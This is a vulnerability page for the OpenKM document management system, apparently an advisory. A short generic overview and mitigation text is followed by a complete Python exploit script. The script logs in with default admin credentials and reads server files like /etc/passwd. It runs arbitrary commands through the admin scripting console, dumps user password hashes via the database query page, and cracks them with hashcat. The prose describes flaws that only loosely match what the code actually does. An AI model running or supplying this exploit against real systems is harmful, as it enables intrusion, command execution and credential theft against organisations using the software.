Overview
The OpenKM 6.3.12 vulnerability encompasses multiple security flaws that can be exploited by malicious actors to compromise the integrity and confidentiality of sensitive data managed within the OpenKM document management system. These vulnerabilities primarily arise from improper input validation and insufficient authentication mechanisms, making it imperative for organizations using this platform to take immediate action to mitigate potential risks.
Technical Details
One of the key vulnerabilities identified in OpenKM 6.3.12 is the lack of proper sanitization of user input, which can lead to SQL injection attacks. Attackers can manipulate SQL queries by injecting malicious code through input fields, allowing them to gain unauthorized access to the database. Additionally, there are issues related to inadequate session management, where attackers can exploit weak session identifiers to hijack user sessions and perform unauthorized actions within the system.
Another concern is the exposure of sensitive files due to improper access controls. This can occur if directory traversal attacks are successful, enabling an attacker to navigate the file system and access files that should be restricted. For instance, an attacker could potentially download configuration files or sensitive documents that contain critical information about the organization.
Impact
The potential consequences of these vulnerabilities are significant. Data breaches resulting from successful exploits can lead to unauthorized access to sensitive documents, financial loss, and reputational damage for organizations. Furthermore, the exploitation of these vulnerabilities could result in compliance violations, particularly for organizations bound by data protection regulations such as GDPR or HIPAA.
Mitigation
To protect against the vulnerabilities present in OpenKM 6.3.12, organizations should prioritize immediate patching of the system to the latest version, which includes fixes for these security flaws. Regularly updating software is a fundamental practice in cybersecurity that helps mitigate risks associated with known vulnerabilities.
Additionally, implementing robust input validation measures and employing web application firewalls (WAF) can help prevent SQL injection attacks. Organizations should also enforce strict access controls and conduct regular security audits to identify and remediate any weaknesses in their systems. Educating staff about the importance of secure session management practices can further bolster defenses against session hijacking attempts.
Proof of Concept (PoC)
# Exploit Title: OpenKM Multiple Critical Zero-Day
# Date: 17 Jan 2026
# Exploit Author: Terra System Labs Pvt. Ltd.
# Vendor Homepage: https://www.openkm.com/
# Software Link: https://hub.docker.com/r/openkm/openkm-ce
# Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions
# Tested on: Windows and Linux Docker
# CVE : N/A
import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass
print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")
# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
required_libraries = ["requests", "bs4", "prettytable", "termcolor"]
for lib in required_libraries:
try:
import_module(lib)
except ImportError:
print(f"Library {lib} not found. Installing...")
subprocess.check_call([
sys.executable, "-m", "pip", "install", lib, "--break-system-packages"
])
print(f"Library {lib} installed successfully.")
check_and_install_libraries()
from bs4 import BeautifulSoup
from prettytable import PrettyTable
try:
from termcolor import colored
use_colored_output = True
except ImportError:
use_colored_output = False
# Utility function for colored output
def print_colored(message, color):
if use_colored_output:
print(colored(message, color))
else:
print(message)
# Global session to persist cookies and authentication
session = requests.Session()
def signal_handler(sig, frame):
print_colored("nDetected CTRL+C. Logging out...", "red")
if "base_url" in globals():
logout(base_url, proxies, verify_ssl)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def check_version(base_url, proxies, verify_ssl):
print_colored("Checking OpenKM version...", "cyan")
version_url = f"{base_url}/frontend/Workspace"
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "*/*",
"Content-Type": "text/x-gwt-rpc; charset=utf-8",
"X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
"X-GWT-Module-Base": f"{base_url}/frontend/",
"Origin": base_url,
"Referer": f"{base_url}/frontend/index.jsp",
}
payload = (
f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
"com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
)
response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200 and response.text.startswith("//OK"):
try:
strings = re.findall(r'"([^"]+)"', response.text)
idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346")
build = strings[idx + 1]
release_type = strings[idx + 2]
ver_major = strings[idx + 3]
ver_minor = strings[idx + 4]
ver_patch = strings[idx + 5]
print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green")
except Exception as e:
print_colored(f"Failed to parse version: {e}", "red")
else:
print_colored("Failed to fetch version information.", "red")
# Function to handle login
def login(base_url, username, password):
login_url = f"{base_url}/login.jsp"
login_payload = {
"j_username": username,
"j_password": password,
"j_language": "en-GB",
"submit": ""
}
login_post_url = f"{base_url}/j_spring_security_check"
response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl)
if "error" in response.url:
print_colored("Login failed. Check credentials.", "red")
return False
print_colored("Login successful using default credentials or provided oen, if any.", "green")
check_version(base_url, proxies, verify_ssl)
return True
# Function for Local File Inclusion (LFI)
def lfi(base_url, read_file, proxies, verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.", "red")
return
script_payload = {
"csrft": csrf_token,
"script": "",
"fsPath": read_file,
"action": "Load"
}
script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "html.parser")
textarea = soup.find("textarea", {"id": "script"})
if textarea:
print_colored("LFI Successful. Extracted Content:", "green")
print(textarea.text.strip())
else:
print_colored("Content not found.", "red")
else:
print_colored("LFI exploit failed.", "red")
# Function for Remote Code Execution (RCE)
def rce(base_url, command, proxies, verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.", "red")
return
exploit_payload = f"""
try {{
Process process = Runtime.getRuntime().exec("{command}");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String output = reader.readLine();
print("Result: " + output);
}} catch (IOException e) {{
print("Error: " + e.getMessage());
}}
"""
script_payload = {
"csrft": csrf_token,
"script": exploit_payload,
"fsPath": "",
"action": "Evaluate"
}
script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
match = re.search(r"Result:s*(w+)", response.text)
if match:
print_colored("RCE Successful. Result:", "green")
print(match.group(1))
else:
print_colored("RCE failed to return a result.", "red")
#Function for crack hash
def crack_password():
# Extract hashes from hashes.txt and save to md5_hashes.txt
def extract_hashes_to_file():
try:
with open("hashes.txt", "r") as file:
hashes_data = file.readlines()
# Extract only the hashes (after the colon)
hashes_only = [line.split(":")[1].strip() for line in hashes_data]
# Write the hashes to md5_hashes.txt
with open("md5_hashes.txt", "w") as file:
file.write("n".join(hashes_only))
print("Hashes successfully extracted to md5_hashes.txt")
except FileNotFoundError:
print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.")
# Combine usernames with cracked passwords
def combine_passwords():
try:
# Load usernames and hashes from hashes.txt
with open("hashes.txt", "r") as file:
hashes_data = file.readlines()
# Load cracked hashes and passwords from cracked_hashes.txt
with open("cracked_hashes.txt", "r") as file:
cracked_data = file.readlines()
# Parse data into dictionaries
hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data}
cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data}
# Match and combine data into final_cracked.txt
final_cracked = ["Username:Passwordsn"] # Add header
for username, hash_value in hashes_dict.items():
if hash_value in cracked_dict:
password = cracked_dict[hash_value]
final_cracked.append(f"{username}:{password}n")
# Save the results to final_cracked.txt
final_cracked_path = os.path.abspath("final_cracked.txt")
with open(final_cracked_path, "w") as file:
file.writelines(final_cracked)
print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green")
# Confirm with the user before displaying passwords
show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower()
if show_passwords == 'y':
print("{:<20} {:<20}".format("Username", "Password"))
print("-" * 40)
for line in final_cracked[1:]: # Skip header
username, password = line.strip().split(":")
print("{:<20} {:<20}".format(username, password))
exit(0)
else:
print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext")
except FileNotFoundError:
print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.")
# Main script
if __name__ == "__main__":
# Step 1: Extract hashes to md5_hashes.txt
extract_hashes_to_file()
# Step 2: Prompt user for the wordlist path and use default if not provided
wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip()
if not wordlist_path:
wordlist_path = "/usr/share/wordlists/rockyou.txt"
import os
# Run hashcat commands
print("Running hashcat...")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt")
# Step 3: Combine usernames with cracked passwords
combine_passwords()
# Function for SQL Injection (SQLi)
def sqli(base_url, proxies, verify_ssl):
print_colored("Running Unrestricted SQL Query...", "magenta")
query_url = f"{base_url}/admin/DatabaseQuery"
multipart_form_data = (
"-----------------------------88617175833200583821560840739rn"
"Content-Disposition: form-data; name="qs"rnrn"
"SELECT * FROM OKM_USER;rn"
"-----------------------------88617175833200583821560840739rn"
"Content-Disposition: form-data; name="tables"rnrn"
"OKM_USERrn"
"-----------------------------88617175833200583821560840739rn"
"Content-Disposition: form-data; name="vtables"rnrnrn"
"-----------------------------88617175833200583821560840739rn"
"Content-Disposition: form-data; name="type"rnrn"
"jdbcrn"
"-----------------------------88617175833200583821560840739--"
)
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739",
}
response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
table = soup.find('table', class_='results-old')
if table:
print_colored("SQL Injection Successful. Results:", "green")
rows = table.find_all('tr')
table_data = PrettyTable()
headers = [header.text.strip() for header in rows[0].find_all('th')]
table_data.field_names = headers
with open("hashes.txt", "w") as file:
for row in rows[1:]:
columns = row.find_all(['td', 'th'])
# Ensure all columns are filled, replacing missing values with 'N/A' and matching headers
row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]]
if len(row_data) == len(headers):
table_data.add_row(row_data)
# Write USR_ID and USR_PASSWORD to the file
usr_id = row_data[headers.index("USR_ID")]
usr_password = row_data[headers.index("USR_PASSWORD")]
file.write(f"{usr_id}:{usr_password}n")
print(table_data)
#current_directory = os.getcwd()
print_colored("hashes.txt created in the current directory", "green")
crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip()
if crack_hash in ['y', 'Y']:
crack_password()
else:
print("Skipping password cracking...")
exit()
else:
print_colored("No results found.", "red")
else:
print_colored("SQL Injection failed.", "red")
# Function for logout
def logout(base_url, proxies, verify_ssl):
print_colored("Logging out...", "green")
logout_url = f"{base_url}/frontend/Auth"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "text/x-gwt-rpc; charset=utf-8",
"X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
"X-GWT-Module-Base": f"{base_url}/frontend/",
"Origin": base_url
}
logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|"
response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200 and "//OK" in response.text:
print_colored("Logged out successfully.", "green")
else:
print_colored("Logout failed.", "red")
# Main function
def main():
global base_url, proxies, verify_ssl
parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool")
parser.add_argument("--url", required=True, help="Base URL of the target application")
parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)")
parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT")
parser.add_argument("--login", help="Credentials in the format username:password")
args = parser.parse_args()
help1 = args.run
if help1 in ["-h", "--help"]:
print_colored("Run python3 openkm-scanner.py --url http://host:port")
base_url = args.url[:-1] if args.url.endswith('/') else args.url
if not base_url.endswith("/OpenKM"):
base_url += "/OpenKM"
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
verify_ssl = False
if args.login:
try:
username, password = args.login.split(":", 1)
except ValueError:
print_colored("Invalid format for --login. Use username:password", "red")
return
else:
username = "okmAdmin"
password = "admin"
if not login(base_url, username, password):
return
# if args.login:
# print("Username Received", login)
# try:
# username, password = args.login.split(":", 1)
# except ValueError:
# print_colored("Invalid format for --login. Use username:password", "red")
# return
# else:
# username = "okmAdmin"
# password = "admin"
# if not login(base_url, username, password):
# return
run_tests = args.run
if not run_tests:
run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper()
if run_tests in ['A', 'a']:
print_colored("Running LFI attack...", "magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url, read_file, proxies, verify_ssl)
print_colored("Running RCE attack...", "magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url, command, proxies, verify_ssl)
sqli(base_url, proxies, verify_ssl)
crack_password()
exit()
if run_tests in ['L', 'l']:
print_colored("Running LFI attack...", "magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url, read_file, proxies, verify_ssl)
if run_tests in ['R', 'r']:
print_colored("Running RCE attack...", "magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url, command, proxies, verify_ssl)
if run_tests in ['S', 's']:
sqli(base_url, proxies, verify_ssl)
if __name__ == "__main__":
main()